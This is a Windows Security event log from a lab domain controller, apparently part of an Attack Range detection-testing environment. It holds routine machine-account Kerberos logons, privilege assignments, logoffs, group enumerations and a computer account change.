SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254140
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB74CD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62357

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254139
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB74CD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254138
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6CAD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254137
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB6CAD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62356

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254136
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6CAD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254135
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6B6D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254134
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB6B6D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62355

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254133
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6B6D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254132
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x7fc
	Process Name:		C:\Windows\System32\dfsrs.exe
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254131
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x7fc
	Process Name:		C:\Windows\System32\dfsrs.exe
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254130
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6927

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254129
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB6927
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62353

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254128
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6927

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254127
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB688F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254125
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB688F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62352

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254124
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB688F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4742
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Computer Account Management
OpCode=Info
RecordNumber=254123
Keywords=Audit Success
Message=A computer account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB66F1

Computer Account That Was Changed:
	Security ID:		ATTACKRANGE\WIN-DC-725$
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-
	DNS Host Name:		-
	Service Principal Names:	
		ldap/win-dc-725.attackrange.local/attackrange.local
		ldap/win-dc-725.attackrange.local
		ldap/WIN-DC-725
		ldap/win-dc-725.attackrange.local/ATTACKRANGE
		ldap/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		ldap/WIN-DC-725/ATTACKRANGE
		E3514235-4B06-11D1-AB04-00C04FC2DCD2/8895e047-912a-4468-a586-e230159c0f25/attackrange.local
		HOST/win-dc-725.attackrange.local/attackrange.local
		HOST/win-dc-725.attackrange.local
		HOST/WIN-DC-725
		HOST/win-dc-725.attackrange.local/ATTACKRANGE
		HOST/WIN-DC-725/ATTACKRANGE
		RPC/8895e047-912a-4468-a586-e230159c0f25._msdcs.attackrange.local
		RestrictedKrbHost/WIN-DC-725
		RestrictedKrbHost/win-dc-725.attackrange.local
		GC/win-dc-725.attackrange.local/attackrange.local
		DNS/win-dc-725.attackrange.local
		ldap/win-dc-725.attackrange.local/DomainDnsZones.attackrange.local
		ldap/win-dc-725.attackrange.local/ForestDnsZones.attackrange.local
		TERMSRV/win-dc-725.attackrange.local
		TERMSRV/WIN-DC-725
		Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win-dc-725.attackrange.local

Additional Information:
	Privileges:		-
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254121
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB6778
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62351

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254120
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6778

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254119
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB673F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62350

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254118
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB673F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254117
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB66F1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62350

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254116
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB66F1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254115
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB668C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62348

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254114
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB668C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:56:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254113
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
